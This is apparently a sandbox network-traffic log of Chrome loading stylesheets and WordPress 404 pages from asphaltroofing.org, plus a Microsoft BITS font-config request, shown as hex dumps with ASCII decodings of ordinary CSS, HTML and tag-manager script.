2024-04-23 14:53:42 UTC	628	OUT	GET /wp-content/themes/u-design/inc/shared/font-awesome/css/font-awesome.min.css?ver=3.3.8 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:42 UTC	540	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:42 GMT Content-Type: text/css Content-Length: 30991 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:48 GMT ETag: "1e21573-790f-5b419ed103e00" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:42 UTC	7652	IN	Data Raw: 2f 2a 21 0a 20 2a 20 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 34 2e 37 2e 30 20 62 79 20 40 64 61 76 65 67 61 6e 64 79 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 69 6f 20 2d 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 0a 20 2a 20 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 69 6f 2f 6c 69 63 65 6e 73 65 20 28 46 6f 6e 74 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 53 53 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 2f 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 46 6f 6e 74 41 77 65 73 6f 6d 65 27 3b 73 72 63 3a 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 65 6f 74 3f 76 3d 34 2e 37 2e 30 27 29 3b 73 Data Ascii: /! Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) */@font-face{font-family:'FontAwesome';src:url('../fonts/fontawesome-webfont.eot?v=4.7.0');s
2024-04-23 14:53:42 UTC	8192	IN	Data Raw: 72 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 37 61 22 7d 2e 66 61 2d 66 6f 6c 64 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 37 62 22 7d 2e 66 61 2d 66 6f 6c 64 65 72 2d 6f 70 65 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 37 63 22 7d 2e 66 61 2d 61 72 72 6f 77 73 2d 76 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 37 64 22 7d 2e 66 61 2d 61 72 72 6f 77 73 2d 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 37 65 22 7d 2e 66 61 2d 62 61 72 2d 63 68 61 72 74 2d 6f 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 62 61 72 2d 63 68 61 72 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 38 30 22 7d 2e 66 61 2d 74 77 69 74 74 65 72 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 Data Ascii: rt:before{content:"\f07a"}.fa-folder:before{content:"\f07b"}.fa-folder-open:before{content:"\f07c"}.fa-arrows-v:before{content:"\f07d"}.fa-arrows-h:before{content:"\f07e"}.fa-bar-chart-o:before,.fa-bar-chart:before{content:"\f080"}.fa-twitter-square:befor
2024-04-23 14:53:42 UTC	8192	IN	Data Raw: 73 63 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 36 30 22 7d 2e 66 61 2d 73 6f 72 74 2d 61 6d 6f 75 6e 74 2d 64 65 73 63 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 36 31 22 7d 2e 66 61 2d 73 6f 72 74 2d 6e 75 6d 65 72 69 63 2d 61 73 63 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 36 32 22 7d 2e 66 61 2d 73 6f 72 74 2d 6e 75 6d 65 72 69 63 2d 64 65 73 63 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 36 33 22 7d 2e 66 61 2d 74 68 75 6d 62 73 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 36 34 22 7d 2e 66 61 2d 74 68 75 6d 62 73 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 36 35 22 7d 2e 66 61 2d 79 6f 75 74 75 62 65 2d 73 71 75 61 72 65 3a 62 Data Ascii: sc:before{content:"\f160"}.fa-sort-amount-desc:before{content:"\f161"}.fa-sort-numeric-asc:before{content:"\f162"}.fa-sort-numeric-desc:before{content:"\f163"}.fa-thumbs-up:before{content:"\f164"}.fa-thumbs-down:before{content:"\f165"}.fa-youtube-square:b
2024-04-23 14:53:42 UTC	6955	IN	Data Raw: 62 22 7d 2e 66 61 2d 6f 70 74 69 6e 2d 6d 6f 6e 73 74 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 33 63 22 7d 2e 66 61 2d 6f 70 65 6e 63 61 72 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 33 64 22 7d 2e 66 61 2d 65 78 70 65 64 69 74 65 64 73 73 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 33 65 22 7d 2e 66 61 2d 62 61 74 74 65 72 79 2d 34 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 62 61 74 74 65 72 79 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 62 61 74 74 65 72 79 2d 66 75 6c 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 34 30 22 7d 2e 66 61 2d 62 61 74 74 65 72 79 2d 33 3a 62 65 66 6f 72 65 2c 2e 66 61 2d 62 61 74 74 65 72 79 2d 74 68 72 65 65 2d 71 75 61 72 74 65 72 73 3a 62 65 66 6f 72 65 7b Data Ascii: b"}.fa-optin-monster:before{content:"\f23c"}.fa-opencart:before{content:"\f23d"}.fa-expeditedssl:before{content:"\f23e"}.fa-battery-4:before,.fa-battery:before,.fa-battery-full:before{content:"\f240"}.fa-battery-3:before,.fa-battery-three-quarters:before{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49750	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:42 UTC	635	OUT	GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/fontello.css?ver=3.3.8 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:43 UTC	558	IN	HTTP/1.1 404 Not Found Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding X-Sucuri-Cache: MISS
2024-04-23 14:53:43 UTC	7634	IN	Data Raw: 34 33 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 54 4d 20 53 6e 69 70 70 65 74 20 66 6f 72 20 46 65 61 74 68 72 29 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0d 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c 21 Data Ascii: 436<!DOCTYPE html><html lang="en"><head> ... GTM Snippet for Feathr) --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 70 61 64 64 69 6e 67 3a 2e 35 65 6d 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 6e 6f 72 6d 61 6c 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 69 73 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 76 69 64 65 6f 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 Data Ascii: padding:.5em;border:1px solid;word-break:normal}.wp-block-table figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table figcaption{color:hsla(0,0%,100%,.65)}.wp-block-video figcaption{color:#555;font-size:13px;text-align:cent
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 63 6f 6f 6c 2d 74 6f 2d 77 61 72 6d 2d 73 70 65 63 74 72 75 6d 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 62 6c 75 73 68 2d 6c 69 67 68 74 2d 70 75 72 70 6c 65 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 62 6c 75 73 68 2d 6c 69 67 68 74 2d 70 75 72 70 6c 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 62 6c 75 73 68 2d 62 6f 72 64 65 61 75 78 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 Data Ascii: ckground: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--pres
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 73 70 68 61 6c 74 72 6f 6f 66 69 6e 67 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2f 61 73 73 65 74 73 2f 6a 73 2f 66 72 6f 6e 74 65 6e 64 2f 61 64 64 2d 74 6f 2d 63 61 72 74 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 37 2e 30 2e 30 27 20 69 64 3d 27 77 63 2d 61 64 64 2d 74 6f 2d 63 61 72 74 2d 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 73 70 68 61 6c 74 72 6f 6f 66 69 6e 67 2e 6f 72 67 2f 77 70 2d Data Ascii: ipt><script type='text/javascript' src='https://www.asphaltroofing.org/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=7.0.0' id='wc-add-to-cart-js'></script><script type='text/javascript' src='https://www.asphaltroofing.org/wp-
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 22 30 20 30 20 30 20 30 22 20 77 69 64 74 68 3d 22 30 22 20 68 65 69 67 68 74 3d 22 30 22 20 66 6f 63 75 73 61 62 6c 65 3d 22 66 61 6c 73 65 22 20 72 6f 6c 65 3d 22 6e 6f 6e 65 22 20 73 74 79 6c 65 3d 22 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 6c 65 66 74 3a 20 2d 39 39 39 39 70 78 3b 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 22 20 3e 3c 64 65 66 73 3e 3c 66 69 6c 74 65 72 20 69 64 3d 22 77 70 2d 64 75 6f 74 6f 6e 65 2d 64 61 72 6b 2d 67 72 61 79 73 63 61 6c 65 22 3e 3c 66 65 43 6f 6c 6f 72 4d 61 74 72 69 78 20 63 6f 6c 6f 72 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 2d 66 69 6c 74 65 72 73 3d 22 73 52 47 42 22 20 74 79 70 65 3d 22 6d 61 74 72 69 78 22 20 76 61 6c Data Ascii: "0 0 0 0" width="0" height="0" focusable="false" role="none" style="visibility: hidden; position: absolute; left: -9999px; overflow: hidden;" ><defs><filter id="wp-duotone-dark-grayscale"><feColorMatrix color-interpolation-filters="sRGB" type="matrix" val
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 65 72 5f 32 34 22 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 6e 61 76 69 67 61 74 69 6f 6e 2d 6d 65 6e 75 22 20 63 6c 61 73 73 3d 22 6e 61 76 69 67 61 74 69 6f 6e 2d 6d 65 6e 75 22 3e 3c 75 6c 20 69 64 3d 22 6d 61 69 6e 2d 74 6f 70 2d 6d 65 6e 75 22 20 63 6c 61 73 73 3d 22 73 66 2d 6d 65 6e 75 22 3e 3c 6c 69 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 38 39 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 20 6d 65 6e 75 2d 69 74 65 6d 2d 38 39 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 73 70 68 61 6c 74 72 6f 6f 66 69 6e Data Ascii: er_24"><div id="navigation-menu" class="navigation-menu"><ul id="main-top-menu" class="sf-menu"><li id="menu-item-89" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-89"><a href="https://www.asphaltroofin
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2c 20 73 6f 72 72 79 2e 2e 2e 20 28 20 45 72 72 6f 72 20 34 30 34 20 29 3c 2f 68 33 3e 0a 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 61 67 65 2d 34 30 34 2d 68 65 6c 70 2d 6f 70 74 69 6f 6e 73 22 3e 0a 09 09 09 09 3c 68 36 20 63 6c 61 73 73 3d 22 70 61 67 65 2d 34 30 34 2d 6d 65 73 73 61 67 65 22 3e 4c 65 74 20 6d 65 20 68 65 6c 70 20 79 6f 75 20 66 69 6e 64 20 69 74 3a 3c 2f 68 36 3e 0a 09 09 09 09 3c 6f 6c 3e 0a 09 09 09 09 09 3c 6c 69 3e 0a 09 09 09 09 09 09 53 65 61 72 63 68 20 66 6f 72 20 69 74 3a 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6e 6c 69 6e 65 2d 73 65 61 72 63 68 2d 66 6f 72 6d 22 3e 09 3c 66 6f 72 6d 20 72 6f 6c 65 3d 22 73 65 61 72 63 68 22 20 6d 65 74 68 6f Data Ascii: you are looking for, sorry... ( Error 404 )</h3><div class="page-404-help-options"><h6 class="page-404-message">Let me help you find it:</h6><ol><li>Search for it:<div class="inline-search-form"><form role="search" metho
2024-04-23 14:53:44 UTC	7152	IN	Data Raw: 49 4f 4e 09 09 09 09 0d 0a 09 09 09 09 69 66 20 28 6a 51 75 65 72 79 2e 66 6e 2e 74 70 65 73 73 65 6e 74 69 61 6c 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 29 20 09 09 09 09 09 0d 0a 09 09 09 09 09 69 66 28 74 79 70 65 6f 66 28 6a 51 75 65 72 79 2e 66 6e 2e 74 70 65 73 73 65 6e 74 69 61 6c 2e 64 65 66 61 75 6c 74 73 29 20 21 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 29 20 0d 0a 09 09 09 09 09 09 6a 51 75 65 72 79 2e 66 6e 2e 74 70 65 73 73 65 6e 74 69 61 6c 2e 64 65 66 61 75 6c 74 73 2e 61 6a 61 78 54 79 70 65 73 2e 70 75 73 68 28 7b 74 79 70 65 3a 20 27 72 65 76 73 6c 69 64 65 72 27 2c 20 66 75 6e 63 3a 20 61 6a 61 78 52 65 76 73 6c 69 64 65 72 2c 20 6b 69 6c 6c 66 75 6e 63 3a 20 61 6a 61 78 52 65 6d 6f 76 65 52 65 76 73 6c 69 64 65 72 2c 20 6f 70 65 6e Data Ascii: IONif (jQuery.fn.tpessential !== undefined) if(typeof(jQuery.fn.tpessential.defaults) !== 'undefined') jQuery.fn.tpessential.defaults.ajaxTypes.push({type: 'revslider', func: ajaxRevslider, killfunc: ajaxRemoveRevslider, open

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49751	23.221.242.90	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:42 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-23 14:53:43 UTC	773	IN	HTTP/1.1 200 OK Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-CID: 7 X-CCC: US X-Azure-Ref-OriginShield: Ref A: 8BFC17DD061B46CAAD2B2AEB7B19C3D8 Ref B: CH1AA2040901011 Ref C: 2023-07-21T06:04:00Z X-MSEdge-Ref: Ref A: 1421F39FA7224BE199CC2F2C3DD24574 Ref B: CHI30EDGE0415 Ref C: 2023-07-21T06:04:00Z Content-Type: application/octet-stream X-Azure-Ref: 0DMGnYgAAAACXaXykPZuVRq4aV6pCkeO8U0pDRURHRTAzMTgAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=40243 Date: Tue, 23 Apr 2024 14:53:43 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-23 14:53:43 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49752	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:42 UTC	636	OUT	GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/animation.css?ver=3.3.8 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:44 UTC	558	IN	HTTP/1.1 404 Not Found Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding X-Sucuri-Cache: MISS
2024-04-23 14:53:44 UTC	7634	IN	Data Raw: 39 62 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 54 4d 20 53 6e 69 70 70 65 74 20 66 6f 72 20 46 65 61 74 68 72 29 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0d 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c 21 Data Ascii: 9b8<!DOCTYPE html><html lang="en"><head> ... GTM Snippet for Feathr) --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 70 61 64 64 69 6e 67 3a 2e 35 65 6d 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 6e 6f 72 6d 61 6c 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 69 73 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 76 69 64 65 6f 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 Data Ascii: padding:.5em;border:1px solid;word-break:normal}.wp-block-table figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table figcaption{color:hsla(0,0%,100%,.65)}.wp-block-video figcaption{color:#555;font-size:13px;text-align:cent
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 63 6f 6f 6c 2d 74 6f 2d 77 61 72 6d 2d 73 70 65 63 74 72 75 6d 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 62 6c 75 73 68 2d 6c 69 67 68 74 2d 70 75 72 70 6c 65 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 62 6c 75 73 68 2d 6c 69 67 68 74 2d 70 75 72 70 6c 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 62 6c 75 73 68 2d 62 6f 72 64 65 61 75 78 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 Data Ascii: ckground: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--pres
